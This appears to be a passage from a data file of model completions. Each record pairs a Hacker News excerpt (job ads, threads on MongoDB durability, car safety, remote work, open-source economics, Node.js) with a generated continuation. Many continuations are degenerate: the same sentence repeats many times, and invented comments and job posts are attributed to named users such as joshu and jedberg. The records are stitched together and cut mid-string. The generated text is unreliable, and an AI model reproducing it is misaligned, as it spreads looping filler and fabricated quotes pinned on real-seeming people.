it's the final trump card in an argument I've had with web-design\ngeeks that the end-user ultimately trumps style.\n\nVideo very likely does bring in the money. I can live with that. But so long\nas I can rip out the offending content, I'm cool with it.\n\nI've also seen some other good/bad paper designs. In the Bay Area, I'm\ncontinually amazed at how good the _design_ of the SF Chronicle is (the\ncontent's of course gone fully to crap), and how poor that of the San Jose\nMercury News (in the capital of Silicon Valley) is. I actually did an analysis\nof how much (and respectively little) content was presented above the fold in\neach design.\n\nSadly each,"} +{"output_text": "://teespring.com/jobs) for more\ndetails.\n\n------\njoshu\nCoursera | Mountain View, CA | Onsite | Full-time\n\nCoursera is a for-profit online learning company that provides a platform for\neducators to create and deliver online courses. We are a team of over 100\npeople, and we are looking for a number of positions.\n\nWe are hiring for a number of positions, including:\n\n", "input_text": "Another imminent project is rebuilding the messaging infrastructure, making\nstudent/tutor matching smarter, moving the backend to a microservice model.\nAll the things you'd expect to do in a startup moving from small to bigger.\n\nWhy Yup:\n\nWe're not just a Silicon Valley startup trying to get big fast and loose. Our\ngoal is to build a product that helps people, has sound unit economics, and\ngenerates real revenue, not just users. Our BD branch is finding ways to bring\nYup to underprivileged youths whose families couldn't afford it on their own\nby selling it to schools.\n\nI've worked with many startups before and, honestly, this is the only one\nthat's made me feel really good about what I'm building every day.\n\nIf you have questions, I'm on twitter and here as Swizec. If you wanna join\nus, email the CEO -> nag@yup.com\n\n[1] we've had parents send us really nice emails saying their kid went from a\nD to a B+.\n\n[2] some of our longest sessions so far have been north of 2 hours.\n\n------\nholtbp\nTeespring | Sr. Full Stack Engineer | SF |\n[https://teespring.com/](https://teespring.com/)\n\nJoin our awesome engineering team! We are building a platform to enable anyone\nwith a design idea to create and sell custom T-shirts, totes, mugs and more!\n\nJob descriptions: * SF:\n[http://teespring.com/jobs?gh_jid=50923](http://teespring.com/jobs?gh_jid=50923)\n\nCheck out [http://teespring.com/jobs](http"} +{"output_text": "rare) cases, is not a good default.\n\n------\njedberg\nI'm not sure if this is a bug or a feature.\n\nI'm using the new storage engine, and I'm seeing the same behavior.\n\nI'm using the default settings, and I'm seeing the same behavior.\n\nI'm using the default settings, and I'm seeing the same behavior.\n\nI'm using the default settings, and I'm seeing the same behavior", "input_text": "http://hackingdistributed.com/2013/01/29/mongo-ft/)\n\n~~~\nnemo44x\nHe was using v2.0 in that article. A version that is years old and pretty\nawful. The default then was that a write was fired from the client and that's\nit - fire and forget. A stupid default.\n\nThe default since is to get an ack from the server. You can control this on\neach write and make it more durable (make sure it is replicated to 1, majority\nor all replicas) or faster (just get to the server). The default is to be\nwritten to the primary server and put into the transaction log so if it\ndoesn't get committed to disk (possibly 60 seconds by default) it can recover.\nThe transaction log is flushed (fsync) every 100ms by default and is\nconfigurable. You can also specify that the write is only acknowledged after\nthe transaction log is synced. Anyways the default is it is put into the\ntransaction log and then acknowledged.\n\n~~~\njedberg\nOk, fair enough. Then the answer is yes, they did fix it. :)\n\nI guess I'll give it another look then.\n\nBut I'm still a little wary of a database built by people who ever thought\nthat such behavior was acceptable for a database...\n\n~~~\nnemo44x\nI'd make sure you use the new storage engine, wiredtiger too if you give them\nanother shot. The standard one works well on read heavy use cases but\nsaturates I/O pretty quickly if you're doing a lot of updates that make\ndocuments grow if you don't take some precautions.\n\nI also agree, having a setting of \"fire and forget\", although useful in some\n("} +{"output_text": " year ago.\n\nI've seen a lot of apps that are just a slightly different take on an app that\nwas popular a year ago.\n\nI've also seen a lot of apps that are just a slightly different take on an app\nthat was popular a year ago.\n\nI've also seen a lot of apps that are just a slightly different take on an app\nthat was popular a year ago.\n\nI've also seen a lot of apps that are just a", "input_text": "without having to consult a lawyer? How about a mathematical paper? A medical\ntest result?\n\n------\nstuki\n'Worlds most X' programming language, for programming what? The ideal language\nin which to express something kind of depends on what you are trying to\nexpress, doesn't it? ( maybe unless you are some kind of meta lisper ( or\nperl6'er :) ) dreaming of a language that's a strict superset of all possible\nothers )\n\n------\nmattjones\nThere's a place in the comments of the last article in this series where a guy\ncalled Tony says, \"I have one word: Scheme.\" And chromatic replies, \"I wonder\nif a language that sticks so closely to the lambda calculus is comprehensible\nto non-math geeks.\"\n\nThis kind of perspective (chromatic's) is a problem. The thing is, programming\nlanguages with the property that you can build powerful abstractions and still\nkeep the program comprehensible and maintainable almost certainly will be\nclosely coupled with some areas of mathematics. Things with such powerful and\npeculiar properties usually are.\n\nIt doesn't mean that the thing in question can only appeal to math geeks. One\nthing you can do with Scheme's abstraction power is build abstractions that do\nnot seem especially mathematical.\n\n \niOS users buy more apps and pay more for them - jammur\nhttp://gigaom.com/apple/ios-users-buy-more-apps-and-pay-more-for-them/\n======\nflyosity\nThe most interesting (and possibly neglected) piece of information that I've\nfound when analyzing the economics & business of the App Store is just how\nmany apps are a slightly different take on an app that was popular a"} +{"output_text": "-wire/)\n\n4: [http://freakonomics.blogs.nytimes.com/2008/01/26/what-do-\nrea...](http://freakonomics.blogs.nytimes.com/2008/01/26/what-do-real-thugs-\nthink-of-the-wire-part-three/)\n\n5: [http://freakonomics.blogs.nytimes.com/2008/01/", "input_text": " Try a simpler\nexplanation: Hillary was a shit candidate who many distrust, and she worked\nvery hard to get that reputation.\n\n~~~\nvostok\n> Try a simpler explanation: Hillary was a shit candidate who many distrust,\n> and she worked very hard to get that reputation.\n\nIt seems to me that many people who are not Clinton worked very hard at\nmanufacturing this reputation.\n\n------\nitakedrugs\nIs it possible to know if they target democrats?\n\n \n\nWhat Do Real Thugs Think of The Wire? - tyn\nhttp://freakonomics.blogs.nytimes.com/2008/01/09/what-do-real-thugs-think-of-the-wire/\n\n======\nwhimsy\nFull list of links to the story.\n\n1: [http://freakonomics.blogs.nytimes.com/2008/01/09/what-do-\nrea...](http://freakonomics.blogs.nytimes.com/2008/01/09/what-do-real-thugs-\nthink-of-the-wire/)\n\n2: [http://freakonomics.blogs.nytimes.com/2008/01/18/what-do-\nrea...](http://freakonomics.blogs.nytimes.com/2008/01/18/what-do-real-thugs-\nthink-of-the-wire-part-two/)\n\n3: [http://freakonomics.blogs.nytimes.com/2008/01/25/what-do-\nrea...](http://freakonomics.blogs.nytimes.com/2008/01/25/what-do-real-thugs-\nthink-of-the"} +{"output_text": " up.\n\n~~~\njoshu\nI think you're right.\n\nI think the problem is that the people who are doing the work are not\nnecessarily the people who are making the decisions.\n\n------\njoshu\nI'm not sure I agree with the conclusion.\n\nI think the problem is that the people who are doing the work are not\nnecessarily the people who are making the decisions.\n\n~~~\njoshu\nI'm not sure", "input_text": " next is the infographics. Again beautiful, I used to kill for decent info\ngraphics coming in. If I wasn't snowed under I'd try and create them myself.\n\nBut the reality is graphic designer can't do it, they have huge work loads\nalready, and remember you can't just hire more staff, its break even business.\nTHEN you need a subject matter expert to assembly it and give it to the\ngraphic designer.\n\nInfographics takes time, and its something that Google and Twitter have taken\naway from news journalists by the creation of an attention economy. You need\nto break a story immediately or you run the risk of not covering your\nproduction costs.\n\nYou don't have time to crunch numbers, you are literally scrambling for\neyeballs to stay in business. You can do it with editorials fine, and one\ntrick I learnt quick was guest bloggers are GOLD. They often bring a crowd\nwith them, they often have great researched stories, infographics you name it.\nSo it became my goal to build those relationships.\n\nBut alas 3 months without weekends, high pressure workload, high pressure\ntargets, unyielding worldwide competition take a toll. So I quit. Theres still\nan open position for me if I want to return, but I don't think I'm ready just\nyet ;)\n\nEDIT: I don't mean to be harsh towards Andy. I love his work, and his\nintellectual exercise into improvement is great. I even forwarded it onto my\nold team for review.\n\nBut what I guess my point is sometimes there a reason why things are crap, and\nfixing may be a hell of a lot harder the moment you try than you expected.\n\nSo don't judge people/teams to harshly, instead offer a hand"} +{"output_text": "\n\n3\\. Avoid the possibility of a large scale protest movement that could\noverwhelm the government\n\n4\\. Avoid the possibility of a large scale protest movement that could\noverwhelm the government\n\n5\\. Avoid the possibility of a large scale protest movement that could\noverwhelm the government\n\n6\\. Avoid the possibility of a large scale protest movement that could\noverwhelm the government\n\n7\\. Avoid the possibility of a large scale protest movement that could\n", "input_text": "------\nhereonbusiness\nCase sensitive word clouds, it's like looking at trypophobia images :)\n\nBut by the looks of it, wouldn't have made much difference anyway.\n\n------\nshahocean\nsuch a great analysis! Is there any space in this to disrupt? I mean to make\nthings as before!\n\n------\nljk\nalways reminded by this xkcd comic whenever people share observations about\ntheir relationships\n\n[http://xkcd.com/523/](http://xkcd.com/523/)\n\n~~~\nneduma\nLOL.\n\n------\nneduma\nVery interesting article among all apple crap.\n\n~~~\nneduma\nit was my mistake to say bad about apple. Sorry apple fans.\n\n~~~\nmikeash\nYour first mistake was writing a comment that didn't really add anything (if\nall you want is to express approval, click the upvote button) and your second\nmistake was complaining about it.\n\n------\nfuddle\nI think this topic would be more interesting: \"How Text Messages Change from\nMarriage to Divorce\"\n\n \nChina\u2019s Internet Controls Will Get Stricter, to Dismay of Foreign Business - danielmorozoff\nhttp://www.nytimes.com/2016/11/08/business/international/china-cyber-security-regulations.html?ref=technology\n======\nRcouF1uZ4gsC\nThe Chinese government actually has very little incentive to allow foreign\ninternet companies inside China. By restricting outside companies they do the\nfollowing\n\n1\\. Reduce the ability of outsiders to influence their people\n\n2\\. Avoid Arab Spring like events where because the companies are foreign, the\ncoordinating network is opaque to the government"} +{"output_text": " will never be able to afford it).\n\n~~~\nmikeash\nI don't think you can make the argument that cars are good for people without\nalso making the argument that cars are bad for people.\n\n~~~\nmaxsilver\nI don't think you can make the argument that cars are bad for people without\nalso making the argument that cars are good for people.\n\n~~~\nmikeash\nI don't think you can make the argument that cars are", "input_text": "\ntremendous freedom and agency (at the costs outlined above, plus tremendous\nfinancial cost). But it\u2019s also true that many of the most desirable and\nproductive parts of our cities are that way _despite_ cars and not because of\nthem.\n\n~~~\nmaxsilver\n> If you live in a small town of 100,000 people, that means 11 of your\n> neighbors will be killed by drivers crashing their cars every year.\n\nTrue. But for comparison, if we live in this small town of 100k people, then\n192 people will die from Heart Disease, 178 people will die of Cancer, 47\npeople will die of Respiratory diseases, 43 people will die of Stroke, and 16\nwill die from the flu (influenza or pneumonia) every single year, according to\nthe CDC. \"Motor vehicle accidents\" are not even in the top 10 causes of death\n(they're 13th, using 2016's data).\n\n> the most desirable and productive parts of our cities are that way despite\n> cars and not because of them.\n\nWhich is a strong argument _for_ cars. Cars make things drastically more\naffordable for people. If you remove them, you increase the costs for\neverything (food, transportation, housing, healthcare, education, etc), to\nheights no regular person could ever afford. That _also_ carries tremendous\ncosts and even carries it's own death toll.\n\nParadoxically, making things \"more desirable and productive\" makes them worst\nfor real people (because that value will be captured in a pricetag, and real\npeople will never be able to afford it). Paradoxically, too much safety can\nactually be less safe overall (that safety will be captured in a pricetag, and\nreal people"} +{"output_text": " the most part.\n\n------\nmatt_the_bass\nI work in a small company with a remote team. I\u2019m the only one in the office\nso I\u2019m the only one that can do anything. I\u2019m also the only one that can\nunderstand the business.\n\nI\u2019m not sure if this is a good thing or not. I\u2019m not sure if I\u2019m missing out\non something.\n\n~~~\npeng", "input_text": "ing and unmuting etiquette).\nIn my experience there is also a bunch of jobs in the technical field that in\nprincipal could be done remotely, but suffer due to lack of technical\nknowledge of the person you are interacting with. An example I think everyone\ncan relate to is tech support for your parents. In my experience that is a lot\neasier when standing next to them. And a lot of tech jobs are about explaining\ntechnology to people who don't have experience with that specific tech yet.\n\n------\nSpooky23\nProbably better end user tools. Better software, microphones, cameras,\nsituational awareness.\n\nI can do everything remote, but 30% is slower because the tools get in the\nway. In my team, things are arguably better. Crossing team boundaries sucks.\n\n~~~\npengwing\nIs this a culturual issue or a tool issue? Mic and cam can be bought in decent\nquality. Shared slack (no affiliation) channels can cross team boundaries.\n\n~~~\nSpooky23\nA little bit of both.\n\nMy team of 40-50 is going from a 20% occasional telecommute model to 100%. So\nwe\u2019re learning and adapting.\n\n------\nrubidium\nI\u2019m design equipment and automation for biology labs. Much of my work is done\nat a computer and now I\u2019m 90% WFH. Takeaways so far: \\- Remote meetings are\nbetter than 10 years ago. But still room to gain. \\- remote design reviews of\nphysical products are lacking engagement from the team. Being in the same room\nhelps a ton. \\- running actual chemistry needs a lab of course \\- managing a\nteam of software engineers, hardware engineers and scientists is ok in JIRA,\nbut nothing beats in person discussion for"} +{"output_text": "foster96\nI'm not sure if this is a good idea, but I'm curious to know if you're\nplanning to open source the code.\n\n~~~\nadamatclarifai\nWe're not planning to open source the code, but we're open to it.\n\n~~~\nthomasfoster96\nI'm not sure if you're open to it, but I'm curious to know if you're planning\nto open source the code.\n", "input_text": " is another, and I'm sure there are others.\n\n \n\nAn API wrapper to Clarifai's image recognition demo - hackerews\nhttps://api.blockspring.com/users/orliesaurus/blocks/d54a2e2c28aebab4fe079ff547cea495\n\n======\nadamatclarifai\nAdam from Clarifai here.\n\nAs tommoor pointed out, this is just a thin wrapper around our demo at\n[http://www.clarifai.com/](http://www.clarifai.com/)\n\n(we're very flattered...)\n\nA real API will be out soon. It won't be throttled as heavily as the demo, and\nwill be more developer friendly.\n\nyou can sign up for early beta access at clarifai.com.\n\n~~~\ntroels\nWow. The classifier is really impressive. Will it be possible to train your\nown classifier on your service? I have a lot of clothing items that it would\nbe useful to classify. I tried building my own with opencv, but I haven't had\ntoo much luck so far.\n\nI signed up for the api access - would be very interested in playing a bit\nmore with this.\n\n~~~\nadamatclarifai\nThanks!\n\nTraining custom classifiers isn't in the roadmap for v1, but there will be a\nmechanism for providing feedback (suggesting new tags and marking errors), and\nwe'll continue to improve our models based on that.\n\nIf you have a very large (100k+ images) well-labeled repository to train from,\nsend us a note at info@clarifai.com, we'll tawk.\n\n------\nthomas"} +{"output_text": "You have experience with heroku, AWS, and/or other cloud services.\n\nYou have experience with a variety of languages and technologies.\n\nYou have experience with a variety of databases.\n\nYou have experience with a variety of web frameworks.\n\nYou have experience with a variety of web security technologies.\n\nYou have experience with a variety of web frameworks.\n\nYou have experience with a variety of web security technologies.\n\nYou have experience with a variety of web", "input_text": "ia.edu\n\n------\nmarkstraub\nSmile Identity | Mountain View | Full time | Full Stack Engineer | REMOTE,\nVISA\n\nSmile Identity solves hard problems of identity for high value transactions in\nlow-trust environments. We are backed by Vinod Khosla & 500 Startups.\n\nWe are looking for someone with a passion for server side development who\nwants to be a key part of the team designing a server architecture from the\nground up. We need someone flexible that can code in a bunch of web\ntechnologies while dealing with the inevitable day to day issues of bringing a\nnew service to life. The job is to implement and then continuously improve our\nAPI's, enterprise facing web, server security, and cost per transaction.\n\nRequirements\n\nYou love to code. You have coded a variety of languages/technologies; in\nparticular heroku, sql, rails, js, html, css, python.\n\nYou are comfortable with combining web and compiled languages in a unified\nsystem. You understand security, the need to protect our client's privacy and\nthe integrity of our data.\n\nYou understand the need for instrumenting. We need metrics for everything.\n\nYou are highly entrepreneurial. You take the initiative to solve problems as\nthey arise, love to troubleshoot, and are flexible.\n\nYou are a great collaborator. You know that startups are a team sport. You\nspeak your mind but also listen to others. You can take the heat. You are\norganized, do well under pressure, and can prioritize multiple tasks.\n\nYou have been part of a team that launched and maintained systems and APIs at\nscale. You have worked with AWS services and components and have a deep\nfamiliarity with Linux.\n\nPreferred Qualifications\n\n"} +{"output_text": " a few months\nago I was writing a test for a web app and it took me about an hour to write\nthe test, now it takes me about 10 minutes.\n\n------\njoshu\nI'm working on a tool to help people learn to code.\n\nI'm not sure if it's a good idea, but I'm trying to make it as easy as\npossible to learn to code.\n\nI'm not sure if it's a good idea, but", "input_text": " places that have\nextremely limited capacity like DNS TXT records, QR codes and RFC tags.\n\n------\nelderK\nI'm working on a bunch of lexer and parser related tools for personal use.\n\nThe reason they're cool is that it automates a lot of the tedious, error-prone\nstuff that I've been doing by hand as I experiment with grammars and the like.\n\nSure, there are a ton of tools out there to generate lexers and parse tables\nand such. But using them doesn't help me understand how they were built.\n\nAnd using them doesn't produce the same sense of accomplishment or, at least\nfor me, /depth/ of understanding.\n\nI try to document the tools as best I can so that fellow students who are\ninterested in such things can learn or make use of them. :)\n\n------\natsushin\nI'm working on a piece to go into my portfolio. It's a guidebook for companies\nnavigating crisis communication during and after security incidents occur,\nsuch as breaches. I'm only an undergrad so I don't have much experience, so a\nlot of it is compilation and synthesizing professional advice (properly\nattributed of course), but with my own recommendations and criticisms of\nspecific cases.\n\nnote: if anyone has particular advice to give me with this project, what you\nmight want to see featured, i'm all ears.\n\n------\najeet_dhaliwal\nTesults ([https://www.tesults.com](https://www.tesults.com)) - it\u2019s cool\nbecause for teams of say 10 or more doing automated testing they can focus on\nwriting tests and maintaining automation infrastructure and allow this to\nhandle reporting. It also gets better and better every day. Just"} +{"output_text": " the act of building something is a lot of work, and\nit's a lot easier to just copy something than to build it from scratch.\n\n~~~\njules\nI think you are right, but I think the problem is that the open source\ncommunity is not very good at marketing.\n\n~~~\nonan_barbarian\nI think you are right, but I think the problem is that the open source\ncommunity is not very good at marketing.\n\n------", "input_text": "especially when it's\ngenuinely new or fills an actual gap, like the GNU tools and Linux), but there\nare times I wonder whether there are a lot of vested interests out there who\nwould like to drive the cost of software to zero and make us all work for a\nwage providing'services'.\n\nThere are entire categories of software now where people are now conditioned\nonly to accept an open source product. Can you imagine anyone building a new\ncomputer language now, commercially? If it was even vaguely successful it\nwould be cloned and forked so quickly it'd make your head spin.\n\nBetween the ideologues like Stallman, who effectively think it's immoral to\nmake money off selling the software itself (I know his position is supposedly\nmore nuanced than that, but free software effectively amounts to this if you\nhave to hand out source to all and sundry) and the open-source-friendly\ncompanies like IBM and Google - who have every reason to drive the $$$\navailable off software to zero, it's easy to feel a bit beleaguered.\n\n~~~\nonan_barbarian\nTo clarify my point, my problem is not with open source in general, it's with\n'feature-by-feature clones of an innovative piece of software'.\n\nThe process of building, say, VisiCalc is a lot riskier and harder than\nturning Excel into Libre Office Calc. If Bricklin had known he was going to\nhave to compete with free in a matter of a few months after release, he might\nhave done something else entirely.\n\nThis may be hard to understand for people that haven't ever designed anything\ndifficult, but frankly, it's _so_ much easier to clone something than build it\nthe first time. Even just"} +{"output_text": " efficiency of the\nconstruction process?\n\n~~~\ncwperkins\nI think the most interesting part of this is the ability to control the\nenvironment. Imagine being able to control the temperature of the concrete\nmixer, or the amount of water in the concrete mixer. Imagine being able to\ncontrol the amount of air in the concrete mixer. Imagine being able to control\nthe amount of oxygen in the concrete mixer. Imagine being able to control the\namount of carbon dioxide in the", "input_text": " fewer yards, set-backs, etc.)\n\n------\ncwperkins\nThis is something I've been trying to understand for a long time. In New York\nCity because of the rent controls it seems like the market rate has diverged\nalarmingly from the subsidized rents. From my perspective it seems like this\npropagates the \"Tale of Two Cities\" and makes it a much wider leap to go from\nrent-control or subsidized housing to market-rate. In my naive opinion it\nseems like in a system without all of the controls in place there may be a\nmore even spectrum of price points and make jumping to the next level of\nhousing easier.\n\nThere are other forces at play here too such as foreign buyers speculating on\nthe Manhattan Condo market, look no further then the foreclosure at One57\npenthouse to show how it has gotten. I think building more housing at all\nlevels is the best way to solve the affordability crisis, but naturally the\nhigher-end of the market would be built out first due to developers wanting to\ncater to the highest bidder. The cities current approach of providing tax-\nincentives to developers to allot a certain portion of housing to affordable\nhousing is seemingly a good strategy to tackle the problem of affordable\nhousing as well as integration.\n\n~~~\ncwperkins\nDoes anyone know anyone from Starsky robotics? I think it would be interesting\nto deploy the remote technology used in it's trucks to construction vehicles.\nImagine being able to have continuous delivery at construction sites. For\nexample, excavation is a relatively quiet activity that seems like it just\nrequires a back hoe and a dumpster to haul away waste. If we can be able to\ncontrol these remotely, would we be able to increase the"} +{"output_text": " a pain in the ass, but it's not impossible.\n\nI have been using Node.js for a while now and I have to say that I am\nsurprised that there is so much hate for it. I have been using it for a while\nnow and I have to say that I am surprised that there is so much hate for it.\n\nI have been using it for a while now and I have to say that I am surprised\nthat there is so much", "input_text": "Dealing with _shared state_ is not always easy when you're working with\nmultiple threads. If you can't reasonably avoid that sharing because of the\nnature of your problem, and if your choice of language and tools only provide\ntools on the level of manual locking, then I agree that writing correct,\nthread-safe code has its challenges.\n\nHowever, there are plenty of scenarios where you don't need much if any state\nto be shared between threads. That includes almost every example of JS\npromises or async/await that I've seen this evening while reading this\ndiscussion and the examples people are linking to.\n\nThere are also plenty of more sophisticated models for co-ordinating threads\nthat do need to interact, from message passing to software transactional\nmemory. These are hardly obscure ideas today, and I don't think anyone could\nreasonably argue that for example message passing makes things complicated but\nasync/await/promises make things simple.\n\n------\ndeedubaya\nFor all the comments on here about how unfair the author was, there sure is\nminimal feedback on the problems they highlighted.\n\n~~~\nsnappy173\nthe feedback is: stop expecting javascript to act like python\n\n~~~\ndeedubaya\nHow productive!\n\n~~~\nsnappy173\nsorry if that came off harsh, but that is actually the feedback, and it's\nvalid. whether or not javascript/node is better or worse than python, it's\npretty clear that bringing a python style approach to nodejs is going to cause\nproblems, especially with error handling and async stuff.\n\n------\nmrgalaxy\nI have used Node.js in production for about 5 years now and I must agree with\nthe sentiment that JavaScript is \"Easy to learn, impossible to master\". Yes,\nerror handling is"} +{"output_text": " cheating in this case)?\n\n~~~\njetrink\nI think it's a fair question. I think the main reason for the success of\nGo-Explore is that it's a very simple game. It's not a game that requires\ncomplex reasoning, and it's not a game that requires a lot of memory. It's a\ngame that can be played in a few seconds.\n\nI think the main reason for the success of Go-Explore is that it", "input_text": " get the best global maxima. Maybe\nalgorithms that can encapsulate that will be useful in getting corporations\naway from the habit of chasing the highest short-term gains at the expense of\nlong term viability.\n\n~~~\njetrink\nAnother way to look at it is that these games have less obvious causal\nrelationships. If the game is Pac-Man, it is immediately obvious that eating a\ndot makes the score go up, because the effect always and immediately follows\nthe cause. The further the effect is separated from the cause, the more\npossibilities the machine must entertain. Imagine, in a different game, you\nactivate three switches and a door opens. Why did the door open? Maybe all\nthree switches must be activated for the door to open. Maybe the final switch\ncontrols the door and the other switches control something else. Maybe you\nmust always activate the switches in a particular order as a security measure.\nThe game probably gives context (e.g. the third switch is labeled 'open door')\nthat a human can use to eliminate the many possibilities, but the machine must\nexperiment before knowing what is relevant. When you separate cause and effect\nin time, the machine must deal with many possible'switches'.\n\n------\nVoloskaya\nGo-explore is weird for me. The main reasons for it's success are all based on\nvery specific thing that barely transfer to anything such as the ability to\nsave a state and restart from it at anytime (in this case using features from\nthe emulator). It look almost like an engineering project.\n\nI don't like bad-mouthing the work of others, so I kind of feel bad for saying\nthat and maybe someone can prove me wrong: But is this not borderline\n\"cheating\" (in quotes because obviously there is no"} +{"output_text": ", I'm not sure how much of this is due to the fact that we're\nspending more on food, and how much is due to the fact that we're spending\nmore on food that's not as healthy.\n\n~~~\njoshuahedlund\nI think the difference is that grocery stores are more convenient than\nrestaurants. I don't think it's a matter of health, but convenience.\n\n~~~\nseancoughlin\nI agree. I", "input_text": "\nYou are screwed in a two person household if someone loses a job.\n\nAnd 5.4% for utilities? I assume that includes mobile, but that feels\nincredibly high.\n\n~~~\nTloewald\nWhat's the median household income post tax? Can't find a good figure but it's\naround $50k pretax. Which is I guess 40k ish post tax, $3.5k or so per month.\nSo 5% of that is $175.\n\nPhone, cable, water, trash, electricity?\n\n------\nmarrakech\nLenin said that there are in progressive order: lies, total lies, and finally\nstatistics.\n\nAnybody here spending 3% of their income on health care? I mean in most cases\ninsurance premiums alone are much more than 3% of average income. Not to\nmention things like cancer that cost about 500k on average to treat. Who takes\nthis data seriously?\n\n------\nte_platt\nIt would be interesting to see how total income is allocated. That would\ninclude income taxes, debt payments, and other things that aren't purchases.\n\nAlso, I think it's interesting that recreational spending has increased very\nlittle. Are we already saturated with all the recreation we want?\n\n~~~\neli_gottlieb\nWhy would we spend more on recreation when we have less time for it?\n\n------\nseancoughlin\nGrocery spending versus restaurant/ deli spending stands out to me: 8.6% on\nGroceries vs. 5.7% on some version of eating out.\n\nIn a better scenario, groceries, being cheaper and generally healthier than\nfood \"eaten out\" would make up a bigger percentage of total food spend.\n\nThat said"} +{"output_text": ".\n\n~~~\niandanforth\nI think he is being serious.\n\n------\njoshstrange\nI'm not sure I would want to play a game where I am the god-like consciousness\nof the universe. I'd rather play a game where I am the god-like consciousness\nof a city.\n\n~~~\ndsl\nI think you'd be surprised how much fun it is to play god.\n\n------\njoshstrange\n", "input_text": " logo: [http://www.t-mobile.com/](http://www.t-mobile.com/)\n\n~~~\ndsl\nT-Mobile is the US subsidiary of Deutsche Telekom.\n\n~~~\npluma\nNitpicking: T-Mobile is the international mobile branch of Deutsche Telekom,\nnot just in the US (though there is a US subsidiary).\n\nOther branches include T-Online (private ISP, actually a former subsidiary),\nT-Systems (subsidiary proving services to the public sector and larger\ncorporations) and T-Home (which I have trouble telling apart from T-Online).\nThere may be other branches too, but in practice most people in Germany just\nlump them all together anyway.\n\n \n\nSimCity should do a galactic sim to design species - vtempest\n\nAfter playing SimCity, I think: Why not go galactic? Imagine a version where you are the god-like consciousness of the universe. You input various characteristics of how you want the universe designed and the species that live on various planets. You watch them evolve (like Conway's game of life) and eventually they will contact each other and compete for planets. SimStar Wars. It's like Starcraft but you get to design the way planets and various species are structured, instead of playing for a side. Would a more Star Trek Borg-like species beat a logical Vulcan species? Ah what a video game that would be, the grandest of them all.\n======\niandanforth\nYou mean Spore?\n\n~~~\nyareally\nI not sure if the OP is being serious or not after reading his description and\nrealizing he does not mention spore once. EA is honestly not the company I\nwould want to make this kind of game"} +{"output_text": " order from a customer, and\nthen the bank did not do what the customer asked. In that case, the bank is\nobligated to give the money back.\n\n> I'm not sure what you're trying to say here.\n\nI'm saying that you are completely missing the point.\n\n> I'm not sure what you're trying to say here.\n\nI'm saying that you are completely missing the point.\n\n> I'm not sure what you", "input_text": "get you hacked within minutes. So, how is that an argument? There is real\nsecurity, which doesn't get you hacked in decades, and then there is\neverything else that is pointlessly insecure, and in this case way less secure\nthan he suggests in any case.\n\n> I have a feeling that businesses that need low latency transactions aren't\n> doing so by scraping their bank's web page. They're probably using some sort\n> of payment provider, or the bank has an API.\n\n... and banks use the exact same idiocy on their APIs, correct. Why would they\nnot if they are convinced that that is how you are secure, as they seem to be?\n\n> If anything, having a weak password gives you more plausible deniability\n> than having a 256 bit entropy password.\n\nWell, sure. But then, not ever having any unauthorized transactions means you\ndon't have to worry about plausible deniability?\n\n> That's the point of obligating it by law. It's consumer protection to give\n> them the benefit of the doubt.\n\nErm... you do realize that that can not possibly be the case, right? That a\nbank can not possibly be obligated to give money to a customer simply because\nthe customer demands it?\n\n> If you have an airtight case against the bank you wouldn't need it in the\n> first place. I'd think you understand this concept, given that you're from\n> the EU.\n\nYou are completely missing the point. There are cases where the bank is at\nfault (like, they simply handed your money to someone else for no reason) and\nyou can show it. That's the case where the bank's general liability would be\nall you need.\n\nThen, there are cases where the bank received an"} +{"output_text": "ant (Senior or Junior) : help us build a new data portal\n(public or private) for a client; also help us build a new data portal for\nourself!\n\nWe're also hiring for our other teams:\n\nData Scientist (Senior or Junior) : help us build a new data portal (public\nor private) for a client; also help us build a new data portal for ourselves!\n\nData Analyst (Senior or Junior)", "input_text": " we have great benefits.\n[https://www.themuse.com/companies/blackmountainsystems](https://www.themuse.com/companies/blackmountainsystems)\n\nPosition Description: C# / SQL Server / JavaScript Junior - Mid level We are\nconstantly adding new functionality into our core product. Alongside our core\nproduct, we have some fresh new initiatives we are building from the ground up\nto help us break into new market segments.\n\nContact: jcook@blkmtn.com\n\n------\nbenrict\nOpenDataSoft ([https://www.opendatasoft.com](https://www.opendatasoft.com)) |\nParis, France | Full-time, on site\n\nOpenDataSoft (founded in 2011, 40 employees nowadays) is developing a SaaS\nplatform that aims to make it very easy for anyone to create a data portal\n(which can be a public open data portal, a private internal data sharing\nspace, or anything in between), and at the same time build a wide catalog of\npublic easy-to-use data. You can see the public half of our work here\n([https://data.opendatasoft.com/explore/](https://data.opendatasoft.com/explore/)).\n\nWe're hiring:\n\nFront-end Engineer (Senior or Junior) : help us build easy-to-use UIs to make\ndata publishing intuitive; also help us re-build entirely our front-end stack\nthis year (from AngularJS 1 to...?)\n\nBack-end Engineer (Senior or Junior) : we like to add a few 0s every year to\nour data processing performance metrics; help us make our Python stack faster\nand more resilient!\n\nTechnical Consult"} +{"output_text": " be enough to get you some traction.\n\n------\njameslk\nI think this is a great article, but I think it's missing a key point.\n\nThe author is saying that the product development team is the equivalent of\nthe sales team.\n\nBut I think the author is missing the point that the product development team\nis the equivalent of the product team.\n\nThe product team is the team that builds the product. The product team is\nresponsible for the", "input_text": ", that's what\nshe meant! UX is so fucking important\".\n\nAgain, this has shaped my relationships to users and the constant blame game\nI'd play when someone couldn't use what I had built. I very rarely, if ever,\nblame the user now.\n\nTL;DR: So yeah, school can make things boring but don't underestimate how the\nsubtle accumulation of knowledge can change your life.\n\np.s. Be humble. Never stop learning. Let your brain fart.\n\n------\nblowski\nReminded me of:\n[https://www.primotoys.com/buy/](https://www.primotoys.com/buy/)\n\n------\nHIlthere\nIt reminds bug shaped toy learning code.\n\n \n\nSteve Blank: The Sharp End of the Stick - lrm242\nhttp://steveblank.com/2009/05/04/the-sharp-end-of-the-stick/\n\n======\nswombat\nHow does this argument mutate when considering \"self-service\" applications\nlike, say, a lot of SaaS out there?\n\nMy feeling is that the product development team (with a focus on optimising\nfor more sales) is the equivalent of the sales team in that case...\n\nWould love to hear other people's thoughts on this though.\n\n~~~\ndmix\nFor most business applications the only thing thats self-service with SaaS is\nusually the purchasing process. They can begin using the software with little\ninvolvement from the company.\n\nBut that only comes at the end of the sales process - you would still need\nmarketing/sales to get to that point.\n\nAlthough, if your targeting a technical crowd then having a great product and\nsome PR would most likely"} +{"output_text": " gmail.com.\n======\naaronzinman\nI'm not sure if this is the right place to ask, but I'm curious if anyone has\nany experience with the Digium card. I've been looking at it for a while and\nit seems like a good option.\n\n~~~\naaronzinman\nI'm not sure if this is the right place to ask, but I'm curious if anyone has\nany experience with the Digium card. I've", "input_text": " tongues and smiling broadly at the 